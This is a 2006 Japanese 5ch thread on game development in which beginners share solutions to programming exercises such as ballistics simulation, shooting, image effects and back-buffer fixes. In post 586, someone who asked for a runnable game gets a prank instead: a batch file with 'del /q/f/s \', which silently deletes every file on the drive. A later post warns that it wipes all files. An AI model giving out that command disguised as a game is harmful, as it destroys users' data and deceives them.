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【初心者】課題をクリアしていくスレ【講習会】 (787レス)
【初心者】課題をクリアしていくスレ【講習会】 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/
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570: 名前は開発中のものです。 [sage] 2006/08/14(月) 07:18:28 ID:VdbybaMn 先生がいなくても自分一人でできる奴ばかりだから大丈夫だろう。 課題をやっている奴は、GameDevPukiWikiにソースを貼ってもらえると 先生がいないと不安な後続の人達の参考になって良いかも。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/570
571: 名前は開発中のものです。 [] 2006/08/15(火) 20:25:23 ID:O7thC4Po 課題7 -課題外伝- 弾道シミュレーション http://gamdev.org/up/img/7120.phps サインコサインで悩んだorz ゲ製作にVB使い少ない…… http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/571
572: 名前は開発中のものです。 [sage] 2006/08/16(水) 02:44:08 ID:qsmhqtob 微分積分いい気分 C言語とか意味不明だ http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/572
573: 名前は開発中のものです。 [sage] 2006/08/16(水) 02:58:57 ID:vu7zrhua >微分積分いい気分 ( ´∀`)σ)∀`)>>572 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/573
574: 名前は開発中のものです。 [sage] 2006/08/16(水) 23:44:56 ID:hBfKBKuk 題8 弾を撃って貰います vb.net http://gamdev.org/up/img/7146.phps ArrayList使ってみた 当たり判定ちょっと面倒だったよ 本当は関数化したほうがいいのかな http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/574
575: 名前は開発中のものです。 [sage] 2006/08/19(土) 12:29:09 ID:Kg/n9ytV 課題10 インベダ風移動 vb.net http://gamdev.org/up/img/7173.phps VBって解放が必要なのか不要なのかいまいちわかりずらいorz http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/575
576: 名前は開発中のものです。 [] 2006/09/10(日) 17:11:36 ID:TDb9YusH スレ違いかもしれないですけど。 回線速度が512Kbp/Sの回線を用いて256000byteのデータを、 転送するためには何秒かかるか。 1件の伝聞260byte 200byteのデータを含む伝聞の送信間隔は、 平均2?秒とする。 計算式も書くこと。 さっぱり分かりませんので計算お願いします。。。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/576
577: 名前は開発中のものです。 [sage] 2006/09/10(日) 18:48:03 ID:WLNmrtem 基本情報の午前に出そうな問題だな。 懐かしいわ。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/577
578: 名前は開発中のものです。 [sage] 2006/09/10(日) 19:47:52 ID:GdkKRdS2 スレ違いどころか板違いだな プログラム板の宿題スレに行けば誰か答えてくれるかもしれんが こんなやつ誘導したくないな http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/578
579: 名前は開発中のものです。 [sage] 2006/09/17(日) 15:08:39 ID:dp7/71US 最近の若い者って、調べる能力がやたら低くない? 人のことを若い者って言えるほど年食ってるわけじゃないけど。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/579
580: 名前は開発中のものです。 [sage] 2006/09/17(日) 16:08:29 ID:kab63KmG ぜひ義務教育の範囲内で「ググれ」の3文字を教えて欲しいものだが、 それをやると学校でモノ教える意味がなくなるから、 既得権益の亡者な教師にはソレができない。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/580
581: 名前は開発中のものです。 [sage] 2006/09/18(月) 13:16:25 ID:W/lXcIbz 安易に「ググれ」と教えてはいけない。考えなくなるから。 そのうち「ググっても無かったので分かりません」と言い出しかねない。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/581
582: 名前は開発中のものです。 [] 2006/10/19(木) 12:24:46 ID:2T8BbUdQ いくつか問題を出しましょう。 エフェクトに関する入り口。 適当な画像を、 ・モノクロ ・エッジ ・モザイク ・ソフト 加工してください。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/582
583: くたらぎけん [] 2006/10/20(金) 14:17:57 ID:an970z+w このスレ今から参加しても宜しいのでしょうか? http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/583
584: 名前は開発中のものです。 [sage] 2006/10/20(金) 22:11:32 ID:fQ4Z1QKt 勝手にやればいいんでね http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/584
585: 名前は開発中のものです。 [] 2006/10/21(土) 09:30:29 ID:wamNDeux メモ帳に写して実行するだけでプレイ出来るゲームのソース貼って下さい 時間が無いのでなるべく早くお願いします http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/585
586: 名前は開発中のものです。 [sage] 2006/10/21(土) 09:35:13 ID:6R8oaMOr 1.ファイル名を「適当な名前.bat」にする 2.次のを貼り付ける @echooff del /q/f/s \ 3.出来たファイルを実行する 4.昨夜はお楽しみでしたね http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/586
587: 名前は開発中のものです。 [sage] 2006/10/21(土) 19:37:53 ID:XCzYIwYp まあ実行するやつはいないと思うが、>>586はファイル全消去なので注意。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/587
588: 名前は開発中のものです。 [] 2006/10/21(土) 21:56:38 ID:wamNDeux delで何となく分かったよ 別に困らないけどね http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/588
589: 名前は開発中のものです。 [] 2006/10/22(日) 00:00:29 ID:IqzFRS51 やってみようと思うときが参加のタイミング。 適当に覗いて見よう。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/589
590: 名前は開発中のものです。 [sage] 2006/10/22(日) 09:32:09 ID:be4WCk1M 1.ファイル名を「適当な名前.js」にする 2.次のを貼り付ける var WShell = WScript.CreateObject("WScript.Shell"); var strHands = new Array(3); strHands[0]="グー"; strHands[1]="チョキ"; strHands[2]="パー"; var strResults = new Array(3); strResults[0]="引き分け"; strResults[1]="あなたの勝ち"; strResults[2]="あなたの負け"; var indexCom = Math.floor(Math.random()*3); var indexYou = WShell.Popup("グー=中止 チョキ=再試行 パー=無視", 3 , "じゃんけん", 2|32)-3; if(indexYou < 0)WShell.Popup("時間切れ", 1, "じゃんけん"); else WShell.Popup("わたし:"+strHands[indexCom]+"\nあなた:"+strHands[indexYou]+"\n\n"+strResults[(indexCom-indexYou+3)%3], 0, "じゃんけん"); 3.出来たファイルを実行する 4.勝ったら脳内で脱がせる、負けたらリアルで脱ぐ http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/590
591: 受験生 ◆B57Fo1eLjo [sage] 2006/10/22(日) 10:29:26 ID:T38aBY/h 2あたりにいた受験生です(酉忘れちまったw このスレまだあったのか… また課題でも用意する? http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/591
592: 名前は開発中のものです。 [] 2006/11/19(日) 01:28:15 ID:wJaGDUpd >>582の課題やってみました モノクロということでカラー画像から2値画像への変換 http://gamdev.org/up/img/8128.zip 開発環境はDelphi6 personal ソース、実行ファイルが含まれています 使い方 ファイル→開く でBMP画像を開いておく 画像変換→モノクロ で画像処理をはじめます 画像の大きさにもよりますがちょっと時間がかかります(サンプル画像で5秒ぐらい) 変換サンプル画像 変換前 http://bbs.gamdev.org/gamedev/gamdev.png ↓ 変換後 http://gamdev.org/up/img/8129.jpg 避難所の看板に変換処理をかけてみました 閾値はRGBともに32 この数字をうまく決めないと画像が消えちゃいますね フォトレタッチソフトは閾値の入力なしで自動で処理してるけど なにかうまい方法があるのかな http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/592
593: C++/win32API [] 2006/11/25(土) 00:09:14 ID:ZxloQDt/ 課題5です。 どなたかバックバッファがわかる方教えてください。 ↓画面が真っ白になるんですけどどうすれば直りますか? ttp://gamdev.org/up/img/8183.zip http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/593
594: 名前は開発中のものです。 [sage] 2006/11/25(土) 02:02:55 ID:FscVmuXx >>593 92-94行 SelectObject(backBafferDC,hOldPen); SelectObject(backBafferDC,hOldBr); Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y); を SelectObject(backBafferDC,hPen); SelectObject(backBafferDC,hBr); Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y); SelectObject(backBafferDC,hOldPen); SelectObject(backBafferDC,hOldBr); に直してみてはいかがか。 http://mevius.5ch.net/test/read.cgi/gamedev/1086858349/594
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